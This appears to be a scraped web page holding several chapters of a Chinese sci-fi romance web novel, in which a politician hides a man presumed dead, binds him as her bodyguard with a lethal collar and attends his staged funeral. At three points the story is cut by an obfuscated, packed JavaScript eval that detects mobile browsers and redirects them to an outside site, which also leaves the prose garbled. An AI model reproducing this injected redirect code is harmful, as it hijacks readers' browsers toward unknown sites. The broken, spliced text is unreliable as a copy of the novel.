“还有,你先跟我们住在这里,没有我的允许不能让别人发现你的存在,也就是说,当我们不在家时你不能让别墅里出现有人的迹象。”宁以歌说,“你也多留意别墅周围有没有奇怪的人出现。有情况及时和我汇报。” 安迪说:“我和以歌先出去买点食物,你就留下来看家。没有以歌的允许不能出门!” 百里寻连忙点头。 宁以歌和安迪换了身常服,百里寻注意到宁以歌换了身便于行动的长袖皮衣,手上的手套也换成了黑色的。 从法庭上重逢到现在,她有在自己面前摘下过手套吗?百里寻冥思苦想了一会,发现答案是否定的。 他并不了解宁以歌,正如宁以歌也并不了解他。但就在这种情况下,百里寻还是搭上了宁以歌的贼船。 百里寻暂住在二楼的卧室,她们早已为他收拾好了床铺,甚至为他买了几套衣服放在衣橱里,房间里有独立卫浴,他可以任意使用。卧室自带的阳台上有基本健身器械,刚好给他用来保持锻炼。 阿金在柔软的床铺上舒服地打滚,四仰八叉地占据了整张床。 百里寻闭眼感应了一遍附近的所有金属设备,满意地没发现任何监视或者监听装置。 按照宁以歌的命令,百里寻没有开灯,只是将落地窗前的窗帘拉开一条缝,默默往外观察。太阳刚刚升起,照亮了周围的环境。这栋度假别墅位置极好,楼下就是巨大的景观湖,湖心有一座绿油油的小岛,小岛边停泊着小船,白天的时候游客可以乘坐小船来往于小岛和湖岸。 楼下,宁以歌率先推开别墅附带的花园的门往外走,而安迪似乎说自己忘带了什么,要折返回别墅去取,宁以歌点点头,留在原地。 宁以歌和保镖短暂分开了。 就在此时,百里寻的余光捕捉到了异样——湖心岛上出现了一个人影,人影躲藏在树荫中,似乎正看向这边。 他迅速打开光脑,想给宁以歌打电话,刚一呼叫,他就看见岛上的人动了,宁以歌和安迪也动了。 几道细影极快的速度掠过湖面向宁以歌飞来,而安迪早有准备一般,即使与宁以歌相距十米,四周的岩石破土而出,迅速凝聚在宁以歌的身前,挡下了来自湖心岛的袭击。 岛上的人见状转身消失在树林之中。 百里寻急忙下楼,想出门查看情况。 光脑震动,是宁以歌的消息:“不许出来。” 18. 保镖 宁以歌和安迪回来了。 宁以歌的右臂上受了点伤,伤口很细很长,但许久没有愈合,百里寻这才意识到S级与C级之间的生理差异。倘若是他,这种小伤很快就会痊愈消失,而宁以歌却做不到。 宁以歌摞起袖子,安迪从应急包中取出一红一黄两支小剂量液体药剂,红色是止血剂,黄色是抗生素。宁以歌没有任何表情波动地将两支药剂注射入伤口旁边的皮肤上,见到伤口迅速结痂后她放下袖子,站起身。 百里寻有点紧张:“刚刚是什么人?” 宁以歌瞥了他一眼:“一个想杀我的人。” 百里寻默了默:“那你……” “放心好了,我没那么容易死。你不用担心今天说要罩你的人明天就没了这种事情发生。” 百里寻表情古怪:“我不是那个意思。” 宁以歌:“那是什么意思?” “……没什么意思。” 宁以歌皱眉盯着百里寻看了看,感到很无语。 旁边的安迪摊开掌心一直握着的岩石团,其中包裹着一团冰渣:“是个控冰的异能者,应当是A级。” 宁以歌幽幽说道:“这个人从我到第二星休假起就一直盯着我,之前一直不确定对方实力,今天露了个破绽,试探一下,他就这样上钩了。” “应对这些暗杀者,你很熟练呀。” 宁以歌:“想杀我的人很多,我都习惯了,接下来几个月你也得学会习惯。” 太阳完全升起来了,湖面上出现了泛舟的游客,那个暗杀者消失了,宁以歌也理了理衣服,和安迪重新出门购物。 宁以歌:“需要我们给你带点什么吗?” 百里寻想了下:“没什么需要的,给我口吃的就行。” 虽然百里寻什么要求也没有,但宁以歌回来的时候还是给他带了两大袋牛肉:“给你的阿金的,我听说它喜欢吃新鲜牛肉。” 阿金喜出望外地扑到宁以歌腿边,一边闻着袋子里的牛肉味一边疯狂舔宁以歌的手,并在心底对百里寻呐喊:“主人!宁姐姐真是个好人!我要一辈子跟着她保护她!” 百里寻:“……” 宁以歌将牛肉放进冰箱,又从购物袋中拿出几瓶啤酒放在餐桌上:“我还听说,你嗜酒如命,每天晚上不喝酒就睡不着。喏,给你的。” 百里寻意外地拿起啤酒,发现还是自己喜欢的口味,忍痛说道:“谢谢,但我戒酒了。” “戒酒?”宁以歌狐疑地看他,“你戒酒干什么?买都买了,我和安迪都不喜欢喝酒,你不能浪费。只是啤酒,你喝完再戒。” 宁以歌的语气不容置喙,百里寻只得表情复杂地说:“好吧。” 宁以歌又补了一句:“里面没有普罗草成分。” “……”百里寻的脸红了,幸而宁以歌说完就转身去洗手间了,没有看见他窘迫的模样。 百里寻也不跟她们客气,提着啤酒就回了房间,放进了房间的冰箱里,他简单收拾下了房间的杂物柜才注意到阿金没跟上楼,不难猜出它又在楼下粘着宁以歌和她那个精神体未未。 百里寻正要下楼去找阿金,迎面碰上正在上楼的宁以歌,他余光看见精神体们在客厅地毯上玩耍,便也不再管,只是将目光落在宁以歌身上,宁以歌也正在看着他。 宁以歌微微扬起下巴:“我有点事要跟你说,现在方便吗?” “去我房间吗?” 宁以歌沉默点头。 百里寻耸耸肩,收回迈出的腿,退回房间内。 宁以歌一进屋就降下遮光窗帘,还带上了房门,屋内霎时间陷入黑暗,只剩下他们无言的呼吸声。这一系列举动令百里寻警惕起来,他不禁后退一步:“你要干什么?” “我刚刚不是说了要跟你说点事吗?”宁以歌睁大疑惑的眼睛,啪地将灯光打开,“你以为我要干什么?占你便宜啊?” 百里寻一脸被说中了的难堪。 “有时候我真想拥有读心术,看看你脑子里面一天到晚在想什么。”宁以歌说,“那天留给你的阴影很大吗?” S级害怕被C级性骚扰,听起来多么幽默。 百里寻郑重其事地回答:“是的,终身难忘。” 宁以歌似乎愣住了,她说:“那,抱歉?” 这应当是百里寻第一次听见宁以歌对自己说抱歉,明明是被道歉的一方,他却感到莫名有些局促,于是移开了视线问道:“你有什么事赶紧说吧。” “你先坐下来,这样仰着头跟你说话怪费劲。” 百里寻依言在床尾坐下,而宁以歌靠在他面前的墙上,认真地问他:“你想家吗?” “家?百里家吗?”百里寻不假思索地回答,“不想。” 宁以歌诧异地看他一眼,又了然:“也是,你都想偷渡了,想必也不留恋家里了。” 她又问:“你有没有想过,要是一切平息,之后你想去哪里,或者想做什么?” 百里寻再次毫不犹豫地回答:“随便吧,最好去个谁也不认识我的地方开始新的人生,苦点累点没关系,我只求安安稳稳度过一生。” 这个回答依然令宁以歌意外,她用全新的目光打量百里寻:“这就是你的追求?” “不行吗?”百里寻反问,“我本来就打算这么做的,谁想到中道崩殂了。” 读出了宁以歌目光中的疑问,百里寻说:“哈,你可别和其他人一样,拿S级精神体给我立一堆远大的目标。是,我承认我的精神力水平很强,但这不代表我不能想安安稳稳做个普通人。” “好吧。”宁以歌遗憾地叹息,“你这个愿望实现起来倒是很简单。” “愿望?你问这个是想做什么?” 宁以歌:“这几个月里,我打算给你安排一份新工作。我猜你大概不缺钱,就想问问你想要什么样的报酬。” 百里寻心里顿时涌起不好的预感:“什么工作?” 宁以歌不知道从哪里摸出了一个颈环。颈环是银色的,表面刻着泛着蓝光的机械纹路,颈环在宁以歌的长指间轻巧地转了个圈,泛出月白色的光芒。 百里寻认出了这个颈环是做什么的,在安迪脖子上也有一个一模一样的颈环。 那是私人保镖专属的颈环。 “我要你当我的贴身保镖。”宁以歌徐徐说道。 这份工作内容超出了百里寻的意料: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222689|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你不是有安迪当保镖了吗?为什么还需要我?” 宁以歌直起身,离开了靠着的墙面,转着手中的颈环,回答:“安迪下周就会被调去执行联邦政府安排的任务,她是登记在册的异能者,没有权利拒绝政府的随时征用。到时候我的身边保镖位置空缺,我的处境会很危险。” 百里寻瞬间明白了宁以歌的用意:“所以你选择了我?因为你知道我也没有权利拒绝你。” “你说的不错。现在百里寻这个身份已经不能用了,如果你想活下去就得听我的。” 百里寻仿佛垂死挣扎般回复道:“但我得先问问,当你的保镖有什么条件?” 宁以歌将颈环展示在百里寻的眼前:“成为政府要员的私人保镖,必须将自己的生死交予雇主。通过这个颈环,我可以掌握你的生死,倘若你背叛我,我随时可以杀了你。” “这个颈环是不是还有一种效果?雇主要是死了,保镖也会随之身亡?” “你很了解嘛。”宁以歌又问,“你会杀人吗?” “我能否问清楚,你这是在雇佣保镖还是杀手?” “我说过了,想杀我的人很多,必要时刻处理掉他们也是保镖工作内容之一。”宁以歌说,“不过你以前就是学院的体能课和格斗课第一名,又是百里家族的人,这些对你应当都不是什么难事。” 百里寻冷哼一声,没有回答宁以歌的问题:“听起来这可真是一个极其危险的工作。” “我不会亏待你。”宁以歌将颈环丢到百里寻的面前,“所以你赌不赌?” “赌什么?” “以我的保镖身份贴身守护我的安危,和我合作揪出这一切真正的幕后主使。赌赢了,我会如你所愿,给你新生活的机会,而我能够借此事得到我想得到的功名。” 宁以歌顿了顿。 “赌输了,我身败名裂,你死路一条。” 百里寻挑起眉毛,“这可真是一场豪赌。但从你决定救我的那一刻起,我和你就是一条绳上的蚂蚱了,还谈什么赌与不赌呢?” 宁以歌笑了笑,没有否认,而后她俯身凑近百里寻:“自然,一切建立在你没有叛国的前提条件上。” 百里寻嗤笑出声,从容戴上颈环:“宁女士,要是我真是卖国贼呢?” 宁以歌转动着左手食指上的银色戒指,细微的电流以颈环为起点贯穿百里寻的脖颈。他全身的肌肉一瞬间紧绷又放松。 “那我们就一起下地狱。” 百里寻沉沉的目光凝在宁以歌食指的戒指上,这枚戒指是一个极其精微的装置,将对保镖的生杀权握于雇主的手中。在雇主的心脏位置还有一个检测装置时刻检测着雇主的生命体征,把保镖的性命与雇主的单方面绑定。无论他们之间相隔多远,宁以歌的心脏一旦停止跳动,百里寻也会一同赴死。 他移开视线,仰视着面前的女人,无奈一笑:“宁以歌,我将我的一切交给你了,你可不要辜负我呀。” 宁以歌俯身抚摸百里寻的颈环,确认背后的锁扣已经锁死。她那皮手套包裹的冰凉的指尖状若无意地划过百里温热柔软的脖颈,幽深的眼瞳像口望不到底的深井。 “你也是。” 19. 葬礼 百里寻下楼的时候安迪正在厨房做饭,她瞧见百里寻脖子上的银环,眼底顿时莫名生出了更多令百里寻不解的气焰。 安迪:“会做饭吗?” 百里寻不假思索且理直气壮地回复道:“不会。” 安迪:“那就过来帮我切菜。” 她丢给百里寻两颗洋葱。百里寻没有异议,沉默地切了起来。安迪观察了他半天,终于忍不住提高音量骂道:“S级了不起啊?切洋葱都不会流泪,凭什么——” 厨房门被打开,宁以歌皱眉看着他们:“不要吵架。” 百里寻:“搞清楚,我没吵架。” 安迪:“知道啦。” 宁以歌没再说什么,厨房门关上了。 百里寻对着洋葱翻了个白眼。 把洋葱切完递给安迪时,他问:“给她当保镖待遇怎么样?” “以歌呀,我要是离开她,怕是再找不到这样高性价比的保镖工作了。所以我死心塌地跟了她六年呀!” 百里寻多少听说过高级官员贴身保镖的薪水,宁以歌开出的薪资并不比其他人高:“当她的保镖很轻松?” 安迪只是说:“以歌是个省心的雇主,你会感受到的。” 安迪又说:“既然你和以歌都睡过了,那也算半个自己人,我就以过来人的身份跟你交个底,跟在以歌后面,虽然不一定未来就能前途辉煌,但万一哪天出了事,她绝对不会把你推出去挡刀。说不定大难临头,她还叫保镖先跑呢。” 安迪咯咯笑起来,笑到最后挤出两滴眼泪:“呜呜呜,我真舍不得我的绝世好雇主呀,怎么这个便宜就让你占了呢?明明……明明她说过对情情爱爱不感兴趣,要不是你色诱她,她会放心让你当保镖?” 她长相明媚的脸凑上来,眼神却格外阴森:“百里寻,要是等我回来,宁以歌有什么好歹,天涯海角,我也要追过去杀了你。” 安迪手中不知道什么时候多了一把石制匕首,冰凉的刀身贴上百里寻的脸缓慢滑动:“到时候,我一定先划烂你这张就会勾引人的脸。” 百里寻沉默地盯着在自己脸上滑动的石刀,许久才勾起嘴角:“锅里的菜要烧糊了。” “啊!”安迪惊叫一声,闪电般收起武器,打开锅盖,白色的热气腾起,她翻炒起来,又夺过百里寻手边切好的洋葱,一股脑倒进去,继续翻炒。 百里寻没再等安迪继续下达指令,不服气地从鼻腔哼出一声,摸着方才被刀贴过的脸颊从厨房出去。 平静却微妙的三人同居生活只持续了两天,第三天一大早宁以歌就和安迪再次出门,让百里寻自己在别墅里靠速食解决早午饭。 等宁以歌她们回来时,宁以歌就看见百里寻躺在一楼客厅的大沙发上,拿毯子盖着脸,一只腿耷拉在沙发边上。 客厅里的投影还播放着没有营养的无脑狗血爱情剧,面前的茶几上散落着没收拾的速食和零食包装袋以及两瓶见底了的酒瓶。在爱情剧男主角“她是我的人”的大声宣言中,宁以歌黑着脸掀起盖在百里寻脸上的毛毯。 熟睡的百里寻惊坐起,睁大眼睛:“啊,你们回来了。” 宁以歌:“百里寻,我雇你是当保镖的,不是雇你当大爷的。” 她冷着脸指着桌上的垃圾,又指了指不远处的垃圾桶。 百里寻悻悻地站了起来,开始收拾垃圾,如果是在他家里,这些都会由机器人或者仆人收拾好,宁以歌难得出门这么久,他就过度放松了片刻。 他收拾好客厅,问:“你们去干什么了?” 宁以歌:“给你上户口,好让你能顺利在首星的非核心地区行走。” “上户口?不需要我本人去吗?” “我有特殊渠道,建议你不要太好奇。”宁以歌说,“关于你的新户口,现在我需要跟你通个气。” 百里寻抱着手臂靠在一边的墙上,摆出洗耳恭听的模样。 “你出生于第十一星,你的父亲是我妈妈的远房堂哥,你的母亲难产而死,而你的父亲在你十八岁时因为心脏病身亡,后来我父母经常接济你。你先前从来没有离开过第十一星,直到昨天你从第十一星来到第二星投奔我,恰好我急缺私人保镖,你便填补了这个空缺。” 百里寻的眉梢微微一颤,宁以歌捕捉到百里寻神情的变化,顿了顿:“怎么了?把你的户口改到第十一星是不是委屈你了?” 养尊处优的豪门大少爷摇身一变成为联邦最大贫民窟所在地十一星的居民,可谓是凤凰掉进了山鸡窝。 百里寻抬起眼睛,语气微妙:“哪来的委屈,我高兴还来不及。” 宁以歌懒得管他到底是不是在阴阳怪气,继续说:“明面上你的精神力水平是A级,没有觉醒异能。如果你以异能者的身份上户口就会被登记入联邦的异能者档案库中,随时会被征调,且审核更加严格,所以除非万不得已的情况下请不要使用异能,也不要让别人察觉到你的S级精神力水平。” “知道了。”百里寻伸了个懒腰,“还有别的事没?” 见宁以歌摇头,百里寻就转身想上楼,身后冷不丁传来宁以歌的声音。 “宁希。” 百里寻反应了足足两秒才反应过来是在喊他。 宁以歌皱着眉头:“你不能对这个名字没有反应,被有心人察觉出这是个假名你就完了。” “好吧,你今后多喊一喊我这个假名字我就习惯了。” “不能今后,而是此刻你就必须牢牢记住,你现在的名字是宁希而不是百里寻。因为明天我们要返回首星,我们三个一起回去。” 百里寻转了转幽绿色的眼睛:“嗯?回首星干什么?给安迪送行吗?” “安迪回首星确实是要前去执行任务,不过我回去主要是为了参加一场葬礼,而你得从这场葬礼正式开始你的保镖工作。” 百里寻:“参加谁的葬礼啊?” 宁以歌露出一个意味深长的笑容:“你的葬礼。” * 百里寻的死讯来的实在是太突然了,关于他牵扯其中的L85泄密一案还有许多细节没有从他嘴里审问出来他就这样潦草地死在了遥远的第十星。 对第十星监狱发动袭击的战机经过确认属于辰冕帝国,这一消息使这个原本快要水落石出的案子再次被添堵,辰冕帝国大张旗鼓毁尸灭迹的举动太古怪,反倒为还没被完全定罪的百里寻的死亡平添了一丝微妙的冤情。 但死去的百里寻不可能从坟墓里爬出来为联邦提供线索了。 “当时那个替你死的尸体已经烧成炭了,百里家就把他当成你火化准备送进星际公共墓地。”在路上,宁以歌说,“今天百里家为你举办了一个小型葬礼,调查小组也想通过这场葬礼寻找案件的新线索。” 百里寻一身保镖轻甲制服,面罩遮脸,并且佩戴了变声器,走在首星的大街上已经没人能认得出他了。 他听了宁以歌转述的情况,漫不经心地“哦”了一声。 “先前你父亲曾经邀请过我到你们家做客,以表达对我在庭审上救你的举动的感谢,不过我拒绝了。现在我来参加你的葬礼也是为我们这短暂而错误的交情画上一个句号。” “你可真是个体面人。还愿意来送这个把你害惨了的百里寻最后一程。”百里寻玩味地说。 宁以歌回敬:“我一向体面。” 近些年来行事低调却富得流油的百里家庞大的庄园展露在他们的面前。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227558|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >百里家审美保持一贯的复古风,在天然木材极其昂贵的后星际时代,百里家的房屋竟然几乎是全木制的,据说这座庄园历史超过百年,走入其中也极少见到电子设备,连监控也只有大门口会安装。 一进门,打扮同样复古的仆人恭敬鞠躬,带着她和保镖穿过中庭花园,来到招待厅。 此时的招待厅已被肃穆的氛围填充,招待厅正门对着的墙上摆放着百里寻的遗像,从第二星运来的新鲜花朵铺在遗像前,而招待厅的两侧稀稀拉拉站着面容悲痛的百里家人。 宁以歌挨个看过去,除了百里家主百里景,百里家中人几乎很少抛头露面,看着这些男男女女,宁以歌居然一个都不认识。 百里景似乎刚才有事短暂离开了,这会才返回招待厅,和前来悼念的客人一一握手。百里景是A级精神体拥有者,异能为控火,前段时间刚过七十一岁生日,却保养得很好,看起来只有五六十岁。 说起来百里家有一个引人注意的地方,他们的家主是直系继承,但每一任都是异能者,这在异能者稀缺的当下并不常见。 百里家将这一点归因为巧合与好运。 宁以歌收敛心神,环顾四周。百里寻身上前段时间发生的事情还没有平息,这会愿意来参加葬礼的客人并不多。 看见宁以歌,百里景的眼睛一亮,疾步走来,老人家一把握住宁以歌的手老泪纵横:“是我教子无方,牵连了宁部长。没想到宁部长还愿意来送犬子一程……” 宁以歌叹口气,回握住百里景粗糙的手:“也许百里寻真的是被冤枉的,只是大家都没想到噩耗的发生怎么会这么突然。” 百里景没顾得上擦泪,目光激动:“您也认为百里寻是被冤枉的?这么说,调查组那边有线索了?” “很遗憾,我不太清楚。”宁以歌笑了笑,“但是百里先生,联邦相信你们。我们一定会寻找到真正的真相,洗清百里公子身上的嫌疑。” 百里景重重点头,才松开宁以歌的手。 宁以歌接过仆人递来的鲜花,和自己的保镖一起上前为遗像献花。 遗像里的百里寻没有因为这一瞬间的定格而流失半分美貌,他的容貌放在此刻聚集在招待厅中的基本都是灰发的百里家人中也是鹤立鸡群。更是与样貌普通的百里景天差地别。 宁以歌不禁思考百里寻到底从哪继承的外貌基因。 整个葬礼过程宁以歌一直用余光注意着身边百里寻的动静,耐人寻味的是,百里寻太安静太镇定了,面对自己的葬礼,自己久别重逢的亲人,他没有任何多余的举动,格外老实地跟在宁以歌后面,似乎对这一切并不在意。 葬礼结束,宁以歌没再逗留,准备与百里寻离开百里家。 当宁以歌刚踏出招待厅的时候,身旁忽然传来低声的呼唤:“宁部长!” 宁以歌认出了喊住她的人,名叫温昱,是百里寻在墨菲学院时的同级小弟之一,记忆中这两个人交情似乎不赖。在百里寻给她的资料中,温昱的父母在联邦知名通信公司当高管,小姨妈是百里寻的堂婶,因此和百里家关系极为密切。 宁以歌微挑了下眉:“你好?” “宁部长,我叫温昱,是和百里寻从小就认识的朋友。”温昱一边自我介绍着一边观察宁以歌的神色,确保她没有抵触情绪后继续说下去,“其实……宁部长,我有一件事想告诉您。” 温昱似乎有点紧张,他咽了口唾沫:“能不能借一步说话?” 乖巧了一路的百里寻却在此时突然出声阻止:“不……”他的尾音断在贯穿脖颈的微电流中。 宁以歌侧过头沉沉地注视着他,轻转食指上的戒指,语气中警告的意味很明显:“做好你的保镖,不要多事。” 20. 暗恋 温昱疑惑地看了看宁以歌的保镖,又看了看宁以歌:“宁部长,这位是您的新保镖吗?” 宁以歌笑着点头:“是,他业务还不太熟练,许多规矩也不懂,我们继续。” 温昱让宁以歌跟着他走入花园深处,又看了眼紧跟在她身边高大的陌生保镖,欲言又止。宁以歌了然回答:“不碍事,是自己人。” 温昱才松口气,徐徐开口:“宁部长,我怀疑一件事很久了。” 他仿佛鼓足勇气般抬起眼睛,郑重地看着宁以歌:“我一直怀疑,百里寻是不是喜欢过您。” 宁以歌:“嗯?” 百里寻:“……” 宁以歌的声音中产生着浓烈的疑问,温昱急切地回应着她的疑惑:“您可能不知道,过去我们都在墨菲学院的时候,百里寻几乎每天盯着您的一举一动,其他人都说是因为讨厌您,想找您的茬。但我总觉得有点不对劲。” 宁以歌饶有兴趣地向温昱凑近了一步:“哪不对劲?” 温昱抓了下头发,千言万语不知从何说起的焦急出现在他的脸上:“就是一种直觉。当年是没有什么证据,可是前几天我来帮忙收拾百里寻的遗物的时候发现了一个东西。正好我今天带来了,您瞧!” 百里寻定睛一看,差点没被这个就知道坑他,连他死了也不消停的好兄弟气撅过去。 那是一张出自他之手的宁以歌的画像。 宁以歌的眉眼生得清丽别致,还有一头标志性乌发。而百里寻的画技并不差,又喜欢习惯性落款。明眼人都看得出来作画者和画中人分别是谁。 “新历775年5月20日,百里寻……”宁以歌垂着眼睛缓慢而清晰地念出落款。 套着保镖壳子的百里寻快站不住了,巴不得找个地缝钻进去。 他就知道!他就知道温昱这小子神神秘秘的准没好事!离家之前他怎么就忘了销毁这张画呢! 宁以歌沉默而仔细地欣赏了一番这张画在普通草稿纸上的钢笔画,最后不忘递到百里寻的眼皮底下:“你也看看,画得像我吗?” 百里寻咬牙挤出笑,配合地回答:“……像。” 温昱的眼泪说来就来,他抹着眼泪说:“唉!可惜这小子平时顽劣惯了,不懂得表达感情,也不懂得珍惜。现在好了,死得不明不白,一向利益为重的百里家族又因为这案子而视他为弃子,更没人为他主持公道了。” 一无所知的温昱哭得断断续续,全然不知他口中死得不明不白的好兄弟此刻就站在他的面前。他更不知道如果目光能化为实体,他早就被百里寻用眼睛千刀万剐了。 哭得差不多了,温昱抬头恳切地望向宁以歌:“宁部长,我了解百里寻,我相信他是无辜的。我知道这个请求有点过分,但看在他曾暗恋过您的份上,求你还他一个清白,现在只有您能帮他了!” 百里寻的一团怒火在此刻骤然熄灭,下一秒,他听见宁以歌用他从未听过的温柔声音安抚温昱:“你放心,我会的。” 她转头示意百里寻把画还给她,见他半天没反应便上手拿,百里寻却紧捏着画不肯放。 宁以歌皱眉:“松手。” 百里寻不吭声,宁以歌又拽了拽画,没拽动。这下温昱也被吸引了注意力,疑惑地看着他们手上较劲。 在温昱困惑的视线中,百里寻这才勉强松手仍由宁以歌夺走他的画。 宁以歌收起温昱交给她的画像,冲温昱笑了笑,又对百里寻说:“宁希,我们走吧。” 温昱目送他们离开,隐约发觉宁以歌的保镖离开时的气场不如刚见面时那样逼人了,而更奇怪的是,这位保镖走之前回头看了他一眼,但温昱看不见他面罩下的脸,也无从解读他的意图。 走出百里家去取车,宁以歌问百里寻:“参加自己葬礼的感觉如何?” “当然是荒诞啊。”百里寻耸耸肩,“我好端端地站在这里,却看他们为我的死讯哭得那么伤心……还挺有意思。” “挺有意思?没想到你是这样想的。” 百里寻转头面对宁以歌:“那还能怎么想?我又不是真的死了,管他们什么反应。” 宁以歌坐上车,她说:“确实,你们家挺有意思。” 百里寻一键发动飞车,车体驶出泊车区,缓缓升空:“怎么说?” “你身为家族继承人,你们家却没有全力把你从牢里捞出来,你没察觉吗?” 百里寻手上的动作一滞。 宁以歌继续说:“当初第一次你被拘留时,你们家没有派过任何家属前去探望,庭审时也只派来了一名律师。第二次你被捕后百里家全家上下更是安静如鸡,虽然请了联邦最好的律师为你辩护,但仍然未出面,甚至你父亲借口身体不好完全消失在大众视线中。直到你死了——” 她故意停住了,颇有耐心地等待着百里寻的回应。 百里寻沉默良久:“我并不是一个合格的继承人,放弃我也是应该的。” 百里家的庄园在后视屏幕中渐渐远去,最终隐入地面的建筑群,消失在他们的视野中。 “我没有野心,最大的爱好就是睡觉和喝酒——不对,现在已经要戒酒了——作风还保守,百里家不需要我这样的人。只是因为我的精神力和异能水平,才一直充当个具有威慑作用的武器罢了。”百里寻一脸不在意的模样,可宁以歌却观察出些许被刻意隐藏的怨怼。 宁以歌说道:“可你是你父亲唯一的孩子。据我所知,你们家家主之位一直可是不折不扣的世袭制。” “也许他不止我一个孩子呢?”百里寻的语气仿若这只是一个随意的玩笑,“有钱人不都这样?” 宁以歌皱起眉:“你有其他兄弟姐妹?” “我就是随便说说,可没有证据啊。其实就是因为我牵扯的案子太敏感了,他们害怕被政府逮住把柄,你也清楚,联邦政府一直想要打压百里家的势力。选择整个家族的未来还是选择一个继承人的命,他们权衡得清楚。”百里寻语调委屈,难得对宁以歌服软,“我的好雇主,我们能不能不要谈论这个话题了?真是戳我的痛点,让我好难受啊。” 宁以歌大发慈悲:“好,我们换一个话题。你的那位朋友对你倒是真心的。至少,他眼里的悲伤比你父亲的更真切。” 百里寻心中警铃大作,果不其然,下一秒宁以歌就沉稳开口。 “他说的都是真的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236870|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 百里寻的呼吸声几乎瞬间消失,他眼观鼻鼻观心:“什么真的假的?” 宁以歌玩味地打量着百里寻,直接上手掀开他的面罩,百里寻无措的脸庞暴露在她的面前:“你为什么画那张画?” 轻甲头盔被宁以歌扣在手里,转不了头的百里寻逃无可逃,只得与宁以歌审视的目光相对:“好玩呗,我也画过别人。” 宁以歌压下眉毛,眯起眼睛:“你还画过谁?” “我的朋友、同学、还有各科的老师,我都画过。我没事干的时候就喜欢随便涂涂。”百里寻飞快地回答,“但是那些都扔了,因为就是平时练手的垃圾,没想到你这张给漏了。” “垃圾?” “对,垃圾。” 宁以歌终于松开了百里寻的头盔,重新坐回座位,似乎没再追究:“我知道了。” 宁以歌刚一松手百里寻就迅速放下面罩遮住了没有什么表情的脸,操作自动飞行的飞车降落进宁以歌家的停车坪上。 这是百里寻第一次来到宁以歌的家。今天他们乘坐的从第二星返航的航船一落地,宁以歌就先送走了安迪,再带着百里寻直奔百里家参加葬礼,直到现在才返回家中。 宁以歌的二层小别墅坐落于远离城市的郊区,这个片区的房价是首星都城范围内最便宜的,但安保很严密,没有户主的允许任何人不得进入住宅区。 二人进入屋中玄关与客厅的灯就自动感应打开,房屋内部一览无余。宁以歌的家一如其人,干净简约,家具全是平价产品,且没有任何多余的装饰,甚至除了基础电子设备连个机器仆人都没有,看起来倒是与她如今的社会地位完全不匹配。 一套全新的服装被丢过来,阻断了百里寻到处乱瞟的视线:“别看了,我家没什么好看的。赶紧换套衣服,我们要出趟远门。” 百里寻茫然地问:“我们才回来,又要去哪?” “我们回来只是停个车,换套衣服,别忘了在首星逗留太久对你并不算好事。”宁以歌回答,“出门去取我的私人星际航船,我们回家。” “回家?” 百里寻依旧茫然地喃喃这个字词,“回什么家?” “当然是回我家乡。”宁以歌笑了笑,“百里寻,我可是还在休假呢,好不容易有了个超长假期,我当然要回家一趟。” 百里寻记得宁以歌的官方资料上显示她的家乡在第十一星,宁以歌也在伪造百里寻身份的时候给了他一个来自第十一星的户口。 “差点忘了,也是你现在的家,宁希。”宁以歌盯着百里寻语气意味深长,“我们的家乡,第十一星。” 不等百里寻有所反应,她就打开光脑,将路线图同步进百里寻的光脑中,“今晚我们开私人飞船前往第五星搭乘公共星际航船,最远的公共航船只到达第九星,剩下的路程需要我们自己驾驶私人飞船继续航行。快的话三天后我们就能到家了。” 百里寻碧绿的眼眸中映着光脑悬浮屏幕中的星际地图,那颗小小的第十一星夹在五颜六色的航线中在宁以歌的标记下闪着醒目的光芒,落入百里寻眼中,点亮了那一池幽暗的绿水。 他凝视着它,低声道:“好。” 21. 麻烦 宁以歌的私人飞船在百里寻的驾驶下顺利来到第五星交通中转站搭乘大型公共航船。 飞船在轨道上排队等待进入船舱的时候,宁以歌注意到了一个熟悉的身影,是身穿普通员工服的祝寒在基层检查。 祝寒带着一队审查人员挨个检查搭乘公共航船的私人飞船的情况,以防有不法分子混入航船。 距离宁以歌的飞船还有五步路的时候,她认出了这艘私人飞船,走过来敲了敲窗户,语气公办公事:“检查。” 驾驶座上的百里寻将船票递给她,祝寒接过船票却看着旁边副驾驶位上的宁以歌:“宁以歌,这位是谁?你的情人?” 宁以歌:“我的新保镖。” 祝寒的目光在百里寻的身上停留许久:“没想到安迪前脚刚走你就迅速物色到了新人。” “是我的表哥,他精神力达标了我就拉他来当我的临时保镖。”宁以歌说,“虽然不如安迪,但有总比没有好。” “表哥?他也来自那个荒蛮的第十一星?” “是。”宁以歌对于祝寒语气中的鄙夷没有作出特别的反应。 